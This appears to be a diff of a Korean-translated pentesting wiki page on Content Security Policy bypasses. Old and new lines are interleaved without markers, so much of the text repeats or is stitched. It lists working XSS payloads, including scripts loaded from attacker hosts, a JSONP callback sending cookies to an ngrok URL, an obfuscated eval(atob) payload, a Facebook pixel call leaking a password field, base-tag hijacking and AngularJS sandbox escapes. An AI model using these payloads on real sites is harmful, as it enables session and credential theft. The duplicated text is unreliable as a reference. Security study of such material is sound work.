- **prefetch-src**: 미리 가져오거나 프리페치할 리소스의 유효한 출처를 지정합니다.
- **navigate-to**: 문서가 어떤 수단(a, form, window.location, window.open 등)으로든 이동할 수 있는 URL을 제한합니다.
### 소스
- `*`: `data:`, `blob:`, `filesystem:` 스킴을 제외한 모든 URL을 허용합니다.
- `'self'`: 동일 도메인에서의 로드를 허용합니다.
- `'data'`: data 스킴(e.g., Base64 인코딩된 이미지)을 통해 리소스를 로드하는 것을 허용합니다.
- `'none'`: 어떤 출처에서도 로드하지 못하도록 차단합니다.
- `'unsafe-eval'`: `eval()` 및 유사 메서드의 사용을 허용합니다(보안상 권장되지 않습니다).
- `'unsafe-hashes'`: 특정 인라인 이벤트 핸들러를 활성화합니다.
- `'unsafe-inline'`: 인라인 `<script>``<style>` 같은 인라인 리소스의 사용을 허용합니다(보안상 권장되지 않습니다).
- `'nonce'`: 암호학적 nonce(한 번만 사용되는 값)를 이용한 특정 인라인 스크립트의 화이트리스트입니다.
- JS가 제한된 실행 환경인 경우, 페이지 내부에서 사용된 nonce를 `doc.defaultView.top.document.querySelector("[nonce]")`로 얻어와 악성 스크립트를 로드하기 위해 재사용할 수 있습니다(만약 strict-dynamic이 사용되면, 허용된 어떤 출처도 새로운 출처를 로드할 수 있으므로 이 방법은 필요하지 않습니다), 예:
- `'data'`: data 스킴을 통해 리소스 로드를 허용합니다(예: Base64 인코딩된 이미지).
- `'none'`: 어떤 출처로부터의 로드도 차단합니다.
- `'unsafe-eval'`: `eval()` 및 유사 메서드의 사용을 허용합니다(보안상 권장되지 않).
- `'unsafe-hashes'`: 특정 인라인 이벤트 핸들러를 가능하게 합니다.
- `'unsafe-inline'`: 인라인 `<script>``<style>` 같은 인라인 리소스의 사용을 허용합니다(보안상 권장되지 않).
- `'nonce'`: 암호학적 nonce(한 번만 사용되는 숫자)를 사용해 특정 인라인 스크립트를 화이트리스트화합니다.
- JS 실행이 제한된 경우 페이지 내에서 사용된 nonce를 `doc.defaultView.top.document.querySelector("[nonce]")`로 얻어 악성 스크립트 로드에 재사용할 수 있습니다(만약 strict-dynamic이 사용된 경우, 어떤 허용된 출처도 새로운 출처를 로드할 수 있으므로 이 방법이 필요 없을 수 있음), 예:
<details>
<summary>nonce를 재사용해 스크립트 로드하기</summary>
<summary>nonce 재사용하여 script 로드</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
@ -88,18 +88,18 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
```
</details>
- `'sha256-<hash>'`: 특정 sha256 해시를 가진 스크립트를 허용 목록에 추가합니다.
- `'strict-dynamic'`: nonce나 hash로 허용 목록에 추가된 경우 모든 출처의 스크립트 로드를 허용합니다.
- `'sha256-<hash>'`: 특정 sha256 해시를 가진 스크립트를 화이트리스트에 올립니다.
- `'strict-dynamic'`: nonce 또는 hash로 화이트리스트된 경우 모든 출처의 스크립트 로드를 허용합니다.
- `'host'`: 특정 호스트를 지정합니다(예: `example.com`).
- `https:`: HTTPS를 사용하는 URL로 제한합니다.
- `blob:`: Blob URL(예: JavaScript로 생성된 Blob URL)에서 리소스를 로드할 수 있게 합니다.
- `filesystem:`: 파일시스템에서 리소스를 로드할 수 있게 합니다.
- `'report-sample'`: 위반 보고서에 위반 코드의 샘플을 포함합니다(디버깅에 유용).
- `'strict-origin'`: 'self'와 유사하지만 출처의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다(보안된 출처만 보안된 출처에서 리소스를 로드할 수 있음).
- `'strict-origin-when-cross-origin'`: 동일 출처 요청 시 전체 URL을 전송하지만 크로스 오리진 요청 시에는 출처(origin)만 전송합니다.
- `'unsafe-allow-redirects'`: 즉시 다른 리소스로 리디렉션되는 리소스의 로드를 허용합니다. 보안을 약화시키므로 권장되지 않습니다.
- `filesystem:`: filesystem에서 리소스를 로드할 수 있게 합니다.
- `'report-sample'`: 위반 리포트에 위반 코드의 샘플을 포함합니다(디버깅에 유용).
- `'strict-origin'`: 'self'와 유사하지만 출처의 프로토콜 보안 수준이 문서와 일치하는지 보장합니다(보안 출처만 보안 출처에서 리소스를 로드할 수 있음).
- `'strict-origin-when-cross-origin'`: 동일 출처 요청 시 전체 URL을 전송하지만, 교차 출처 요청 시에는 출처(origin)만 전송합니다.
- `'unsafe-allow-redirects'`: 즉시 다른 리소스로 리다이렉트되는 리소스의 로드를 허용합니다. 보안을 약화시키므로 권장되지 않습니다.
## 안전하지 않은 CSP 규칙
## Unsafe CSP Rules
### 'unsafe-inline'
```yaml
@ -127,9 +127,9 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
### strict-dynamic
만약 어떻게든 **허용된 JS 코드가 DOM에 새로운 script tag를 생성**하도록 당신의 JS 코드를 넣게 만들 수 있다면, 허용된 스크립트가 그것을 생성하고 있으므로 그 **새로운 script tag는 실행되도록 허용됩니다**.
만약 어떤 식으로든 허용된 스크립트가 DOM에서 당신의 JS 코드로 새 script tag를 생성하게 만들 수 있다면, 허용된 스크립트가 그것을 생성했기 때문에 그 새 script tag는 실행이 허용됩니다.
### 와일드카드 (\*)
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
@ -138,13 +138,13 @@ Content-Security-Policy: script-src 'self' https://google.com https: data *;
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### object-src 및 default-src 부재
### object-src와 default-src의 부재
> [!CAUTION] > **더 이상 작동하지 않는 것으로 보입니다**
```yaml
Content-Security-Policy: script-src 'self' ;
```
작동하는 payloads:
작동하는 페이로드:
```html
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
@ -154,30 +154,30 @@ Content-Security-Policy: script-src 'self' ;
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
만약 JS 파일을 업로드할 수 있다면 이 CSP를 bypass할 수 있습니다:
JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:
Working payload:
작동하는 payload:
```html
"/>'><script src="/uploads/picture.png.js"></script>
```
하지만, 서버가 업로드된 파일을 **검증**하여 특정 유형의 파일만 **업로드 허용**할 가능성이 매우 높다.
그러나 서버는 업로드된 파일을 **검증**하고 특정 파일 형식만 **업로드 허용**할 가능성이 매우 높습니다.
또한, 서버가 허용하는 확장자(예: _script.png_)로 파일 안에 **JS 코드**를 업로드할 수 있다 해도, 일부 서버(예: apache server)는 확장자에 따라 **MIME type을 선택(select MIME type of the file based on the extension)**하고 Chrome 같은 브라우저는 이미지여야 할 파일 안의 Javascript 실행을 **거부(reject to execute Javascript)**한다. 다행히도 실수가 존재한다. 예를 들어 CTF에서 배운 바로는 **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/***.
게다가 서버에서 허용하는 확장자(예: _script.png_)를 사용해 파일 안에 **JS code inside**를 업로드할 수 있더라도, 일부 서버(예: apache server)는 **파일의 MIME type을 확장자 기반으로 선택**하고 Chrome 같은 브라우저는 이미지여야 할 파일 내부의 Javascript 코드를 **실행 거부**하기 때문에 충분하지 않습니다. 다행히도 실수가 존재합니다. 예를 들어 CTF에서 배운 바로는 **Apache doesn't know** _**.wave**_ 확장자를 알지 못해, 그 파일을 audio/* 같은 **MIME type**으로 서빙하지 않습니다.
여기서, XSS와 파일 업로드가 모두 있다면 **misinterpreted extension**을 찾아 해당 확장자로 스크립트 내용을 가진 파일을 업로드해볼 수 있다. 또는 서버가 업로드된 파일의 형식을 엄격히 검사한다면 polyglot을 만들어보라 ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
따라서 XSS와 파일 업로드를 발견하고 **misinterpreted extension**을 찾아낼 수 있다면, 그 확장자를 가진 파일과 스크립트 내용을 업로드해볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 포맷을 검사한다면, polyglot을 생성해보세요 ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
### Form-action
JS 주입이 불가능한 경우에도, 예를 들어 자격증명 같은 정보를 유출하기 위해 **form action을 주입(injecting a form action)** 해볼 수 있다(그리고 password manager가 자동으로 비밀번호를 채워주기를 기대할 수도 있다). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). 또한 `default-src`는 form actions를 커버하지 않는다는 점에 유의하라.
JS를 주입할 수 없는 경우에도 예를 들어 자격 증명을 유출하기 위해 **injecting a form action**(비밀번호 관리자가 자동 완성해줄 것으로 기대하면서)을 시도해볼 수 있습니다. [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)에서 예를 확인할 수 있습니다. 또한 `default-src`는 form actions를 포함하지 않는다는 점에 유의하세요.
### Third Party Endpoints + ('unsafe-eval')
> [!WARNING]
> For some of the following payload **`unsafe-eval` is not even needed**.
> 다음 중 일부 payload의 경우 **`unsafe-eval`조차 필요하지 않습니다**.
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
취약한 버전의 angular를 로드하 임의의 JS를 실행:
취약한 버전의 angular를 로드하 임의의 JS를 실행:
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -198,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
#### Angular + `window` 객체를 반환하는 함수를 가진 library를 이용한 Payloads ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!TIP]
> 해당 포스트는 `cdn.cloudflare.com`(또는 다른 허용된 JS 라이브러리 저장소)에서 모든 **libraries**를 **load**한 뒤, 각 라이브러리의 추가된 모든 함수를 실행하여 **어떤 라이브러리의 어떤 함수가 `window` 객체를 반환하는지** 확인할 수 있음을 보여줍니다.
> 이 포스트는 `cdn.cloudflare.com` (또는 허용된 다른 JS libraries repo)에서 모든 **libraries**를 **load**하고, 각 library에서 추가된 모든 함수를 실행하여 어떤 라이브러리의 어떤 함수들이 `window` 객체를 반환하는지 확인할 수 있다고 보여줍니다.
```html
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -231,9 +231,9 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### google recaptcha JS 코드 악용
#### google recaptcha JS code 악용
[**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)에 따르면 CSP 내부에서 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)를 악용해 CSP를 우회하고 임의의 JS 코드를 실행할 수 있습니다:
[**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves)에 따르면 [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/)을 CSP 내에서 악용해 CSP를 우회하여 임의의 JS 코드를 실행할 수 있습니다:
```html
<div
ng-controller="CarouselController as c"
@ -261,21 +261,21 @@ b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
```
#### www.google.com을 한 open redirect 악용
#### www.google.com을 이용한 open redirect 악용
다음 URL은 example.com으로 리렉트됩니다 (출처: [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
다음 URL은 example.com으로 리다이렉트됩니다 (출처: [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
악용 \*.google.com/script.google.com
Abusing \*.google.com/script.google.com
Google Apps Script를 악용해 script.google.com 내부의 페이지에서 정보를 수신하는 것이 가능합니다. 이는 [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/)에서 수행된 것과 같습니다.
Google Apps Script를 악용하면 script.google.com 내부 페이지에서 정보를 받을 수 있다. Like it's [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Third Party Endpoints + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
이와 같은 시나리오에서 `script-src``self`와 특정 도메인(화이트리스트에 포함된)으로 설정된 경우 JSONP를 사용해 우회할 수 있다. JSONP 엔드포인트는 공격자가 XSS를 수행할 수 있도록 하는 안전하지 않은 콜백 메서드를 허용한다. 동작하는 payload:
이와 같은 시나리오에서 `script-src``self`로 설정되고 특정 도메인이 화이트리스트에 포함된 경우, JSONP를 사용해 우회할 수 있습니다. JSONP 엔드포인트는 insecure callback methods를 허용하여 공격자가 XSS를 수행할 수 있게 합니다. working payload:
```html
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -289,15 +289,15 @@ https://www.youtube.com/oembed?callback=alert;
```html
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **다양한 웹사이트의 CSP bypass를 위한 바로 사용할 수 있는 JSONP endpoints를 포함합니다.**
[**JSONBee**](https://github.com/zigoo0/JSONBee) **은 다양한 웹사이트의 CSP bypass에 사용할 수 있는 준비된 JSONP 엔드포인트를 포함합니다.**
동일한 취약성은 **신뢰된 엔드포인트에 Open Redirect가 포함된 경우**에도 발생합니다. 초기 엔드포인트가 신뢰되면 리디렉트도 신뢰되기 때문입니다.
동일한 취약점은 **trusted endpoint contains an Open Redirect** 경우에도 발생합니다. 초기 endpoint가 신뢰되는 경우 리디렉션도 신뢰되기 때문입니다.
### 제3자 악용
### 서드파티 악용
As described in the [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), CSP의 어디엔가 허용될 수 있는 많은 제3자 도메인이 있으며, 이들은 데이터를 exfiltrate하거나 JavaScript 코드를 실행하는 데 악용될 수 있습니다. 일부 제3자 도메인은 다음과 같습니다:
다음 글([following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses))에 설명된 바와 같이, CSP 어느 곳에 허용되어 있을 수 있는 많은 서드파티 도메인이 있으며, 이는 데이터를 exfiltrate하거나 JavaScript 코드를 execute하는 데 악용될 수 있습니다. 일부 서드파티는 다음과 같습니다:
| 엔티티 | 허용 도메인 | 기능 |
| Entity | Allowed Domain | Capabilities |
| ----------------- | -------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
@ -308,7 +308,7 @@ As described in the [following post](https://sensepost.com/blog/2023/dress-code-
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
깃의 CSP에서 위 허용 도메인 중 하나를 발견하면, 해당 타사 서비스에 등록하여 CSP를 bypass하고 데이터를 해당 서비스로 exfiltrate하거나 코드를 실행할 수 있을 가능성이 높습니다.
겟의 CSP에서 위 허용 도메인 중 하나를 발견하면, 서드파티 서비스에 등록하여 해당 서비스로 데이터를 exfiltrate하거나 코드를 실행하여 CSP를 우회할 수 있을 가능성이 큽니다.
For example, if you find the following CSP:
```
@ -320,12 +320,12 @@ Content-Security-Policy: connect-src www.facebook.com;
```
You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In this case, you follow these general steps:
1. 여기에서 Facebook Developer account를 생성합니다.
2. 새로운 "Facebook Login" 앱을 만들고 "Website"를 선택합니다.
3. "Settings -> Basic"로 이동해 "App ID"를 얻습니다.
4. exfiltrate할 대상 사이트에서 Facebook SDK의 gadget "fbq"를 "customEvent"와 data payload로 직접 호출하여 데이터를 exfiltrate할 수 있습니다.
5. App "Event Manager"로 이동해 생성한 애플리케이션을 선택합니다 (참고: event manager는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
6. "Test Events" 탭을 선택하면 "your" web site에서 전송되는 이벤트를 볼 수 있습니다.
1. 여기에서 Facebook Developer 계정을 생성하세요.
2. 새로운 "Facebook Login" 앱을 만들고 "Website"를 선택하세요.
3. "Settings -> Basic"으로 이동하여 "App ID"를 확인하세요.
4. 대상 사이트에서 exfiltrate data를 하려면, Facebook SDK 가젯 "fbq"를 통해 "customEvent"와 데이터 페이로드를 직접 사용하면 됩니다.
5. 자신의 App의 "Event Manager"로 이동하여 생성한 애플리케이션을 선택하세요 (참고: event manager는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Events" 탭을 선택하여 "your" 웹 사이트에서 전송되는 이벤트를 확인하세요.
Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
```JavaScript
@ -334,62 +334,62 @@ fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
이전 표에 명시된 나머지 7개의 서드파티 도메인에 관해서는, 그것들을 악용할 수 있는 다른 방법들이 많이 있습니다. 추가적인 서드파티 악용 사례에 대한 설명은 이전의 [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) 를 참고하세요.
이전 표에 명시된 나머지 일곱 개의 서드파티 도메인에 대해서는, 이를 악용할 수 있는 다른 방법이 많이 있습니다. 다른 서드파티 악용에 대한 추가 설명은 이전 [블로그 게시물](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses)을 참조하세요.
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
### RPO (Relative Path Overwrite)를 통한 우회 <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
앞서 언급한 경로 제한을 bypass하기 위한 리디렉션 외에도, 일부 서버에서 사용할 수 있는 Relative Path Overwrite (RPO)라는 다른 기법이 있습니다.
앞서 언급한 경로 제한 우회용 리디렉션 외에도, 일부 서버에서 사용할 수 있는 Relative Path Overwrite (RPO)라는 또 다른 기술이 있습니다.
예를 들어, CSP가 `https://example.com/scripts/react/` 경로를 허용하는 경우, 다음과 같이 bypass할 수 있습니다:
예를 들어, CSP가 경로 `https://example.com/scripts/react/`를 허용한다면, 다음과 같이 우회할 수 있습니다:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
The browser will ultimately load `https://example.com/scripts/angular/angular.js`.
브라우저는 결국 `https://example.com/scripts/angular/angular.js`를 로드합니다.
This works because for the browser, you are loading a file named `..%2fangular%2fangular.js` located under `https://example.com/scripts/react/`, which is compliant with CSP.
이것은 브라우저 관점에서 `https://example.com/scripts/react/` 아래에 위치한 `..%2fangular%2fangular.js`라는 파일을 로드하고 있기 때문에 동작하며, 이는 CSP에 부합합니다.
따라서, 브라우저는 이를 디코딩하여 실제로 `https://example.com/scripts/react/../angular/angular.js` 를 요청하게 되고, 이는 `https://example.com/scripts/angular/angular.js` 와 동일합니다.
따라서 브라우저는 이를 디코딩하여 실제로 `https://example.com/scripts/react/../angular/angular.js`를 요청하게 되고, 이는 `https://example.com/scripts/angular/angular.js`와 같습니다.
By **브라우저와 서버 간의 URL 해석 불일치를 악용하면 경로 규칙을 우회할 수 있습니다**.
이 URL 해석의 불일치를 **악용함으로써 브라우저와 서버 간의 경로 규칙을 우회할 수 있습니다**.
The solution is to not treat `%2f` as `/` on the server-side, ensuring consistent interpretation between the browser and the server to avoid this issue.
해결책은 서버 사이드에서 `%2f``/`로 처리하지 않는 것이며, 브라우저와 서버 간 해석을 일치시켜 이 문제를 방지하는 것입니다.
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframes JS execution
### Iframes JS 실행
{{#ref}}
../xss-cross-site-scripting/iframes-in-xss-and-csp.md
{{#endref}}
### missing **base-uri**
### 누락된 **base-uri**
If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
만약 **base-uri** 디렉티브가 없으면 [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html)을(를) 이용해 공격할 수 있습니다.
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
If the vulnerable page is loaded with **httpS**, make use an httpS url in the base.
또한, **페이지가 상대 경로로 스크립트를 로드하고 있는 경우**(예: `<script src="/js/app.js">`) **Nonce**를 사용하고 있다면, **base** **tag**를 조작해 스크립트를 **your own server**에서 로드하도록 만들어 **XSS를 달성할 수 있습니다.**\
만약 취약한 페이지가 **httpS**로 로드된다면, base에 **httpS** URL을 사용하세요.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS 이벤트
Content Security Policy (CSP)라는 특정 정책은 JavaScript 이벤트를 제한할 수 있다. 그럼에도 AngularJS는 대안으로 커스텀 이벤트를 도입한다. 이벤트 내에서 AngularJS는 고유한 객체 `$event`를 제공하며, 이는 네이티브 브라우저 이벤트 객체를 참조한다. 이 `$event` 객체는 CSP를 우회하는 데 악용될 수 있다. 특히 Chrome에서는 `$event/event` 객체가 `path` 속성을 가지며, 이 속성은 이벤트 실행 체인에 관련된 객체들의 배열을 포함하고, `window` 객체는 항상 배열의 마지막에 위치한다. 이 구조는 sandbox escape 전술에 중요하다.
Content Security Policy (CSP)로 알려진 특정 정책이 JavaScript 이벤트를 제한할 수 있다. 그러나 AngularJS는 대안으로 사용자 정의 이벤트를 도입한다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 가리키는 고유한 객체 `$event`를 제공한다. 이 `$event` 객체는 CSP를 우회하는 데 이용될 수 있다. 특히 Chrome에서 `$event`/`event` 객체는 이벤트 실행 체인에 관여하는 객체 배열을 보관하는 `path` 속성을 가지며, 그 배열의 마지막에는 항상 `window` 객체가 위치한다. 이 구조는 sandbox escape에 중요하다.
이 배열을 `orderBy` 필터로 전달하면 이를 반복(iterate)할 수 있고, 마지막 요소(`window` 객체)를 활용해 `alert()` 같은 전역 함수를 호출할 수 있다. 아래의 코드 스니펫이 이 과정을 설명한다:
`orderBy` filter에 이 배열을 전달하면 배열을 순회할 수 있고, 마지막 요소(`window` 객체)를 이용해 `alert()` 같은 전역 함수를 호출할 수 있다. 아래의 코드 스니펫이 이 과정을 보여준다:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
이 스니펫은 이벤트를 트리거하기 위해 `ng-focus` 디렉티브의 사용을 강조하며, `path` 배열을 조작하기 위해 `$event.path|orderBy`를 사용하고, `window` 객체를 이용해 `alert()` 함수를 실행하여 `document.cookie`를 노출시킵니다.
이 스니펫은 이벤트를 트리거하기 위해 `ng-focus` 디렉티브의 사용을 강조하며, `$event.path|orderBy`로 `path` 배열을 조작하고, `window` 객체를 이용해 `alert()` 함수를 실행하여 `document.cookie`를 노출니다.
**다른 Angular bypasses는** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)에서 확인하세요
### AngularJS and whitelisted domain
### AngularJS whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Angular JS 애플리케이션에서 스크립트 로딩을 위해 도메인을 화이트리스트하는 CSP 정책은 callback functions의 호출과 특정 vulnerable classes를 통해 우회될 수 있습니다. 이 기법에 대한 자세한 정보는 이 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)에 있는 상세 가이드를 참조하세요.
Angular JS 애플리케이션에서 스크립트 로드를 위해 도메인을 화이트리스트하는 CSP 정책은 콜백 함수 호출과 특정 취약 클래스의 악용을 통해 우회될 수 있습니다. 이 기법에 대한 자세한 정보는 이 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)에 있는 상세 가이드를 참조하세요.
Working payloads:
```html
@ -399,15 +399,15 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
다른 JSONP arbitrary execution endpoints는 [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다)
Other JSONP 임의 실행 엔드포인트는 [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다)
### Bypass via Redirection
### 리디렉션을 통한 우회
CSP가 server-side redirection을 만나면 어떤 일이 발생할까요? 그 redirection이 허용되지 않는 다른 origin으로 이어지면, 여전히 실패합니다.
CSP가 서버 측 리디렉션을 만나면 어떻게 될까요? 리디렉션이 허용되지 않은 다른 origin으로 이어지면, 여전히 실패합니다.
하지만 [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)의 설명에 따르면, redirection이 다른 path로 이어지는 경우 원래의 제한을 bypass할 수 있습니다.
그러나 [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects)의 설명에 따르면, 리디렉션이 다른 경로로 이어질 경우 원래의 제한을 우회할 수 있습니다.
Here's an example:
다음은 예시입니다:
```html
<!DOCTYPE html>
<html>
@ -425,25 +425,25 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
만약 CSP가 `https://www.google.com/a/b/c/d`로 설정되어 있으면, 경로가 고려되기 때문에 `/test``/a/test` 스크립트는 CSP에 의해 차단됩니다.
However, the final `http://localhost:5555/301` will be **redirected on the server-side to `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Since it is a redirection, the **path is not considered**, and the **script can be loaded**, thus bypassing the path restriction.
하지만 최종적으로 `http://localhost:5555/301`**서버 사이드에서 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`로 리디렉션됩니다**. 리디렉션이기 때문에 **경로는 고려되지 않으며**, **스크립트를 로드할 수 있으므로** 경로 제한을 우회합니다.
With this redirection, even if the path is specified completely, it will still be bypassed.
이러한 리디렉션이 있으면, 경로가 완전히 지정되어 있어도 여전히 우회됩니다.
Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.
따라서 가장 좋은 해결책은 웹사이트에 open redirect 취약점이 없도록 하고, CSP 규칙에 악용될 수 있는 도메인이 포함되지 않도록 하는 것입니다.
### Bypass CSP with dangling markup
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
자세한 방법은 [how here](../dangling-markup-html-scriptless-injection/index.html)에서 읽어보세요.
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'`은 코드 안에서 어떤 스크립트든 실행할 수 있다는 뜻입니다 (XSS는 코드를 실행할 수 있습니다) 그리고 `img-src *`는 웹페이지에서 어떤 리소스의 이미지든 사용할 수 있다는 뜻입니다.
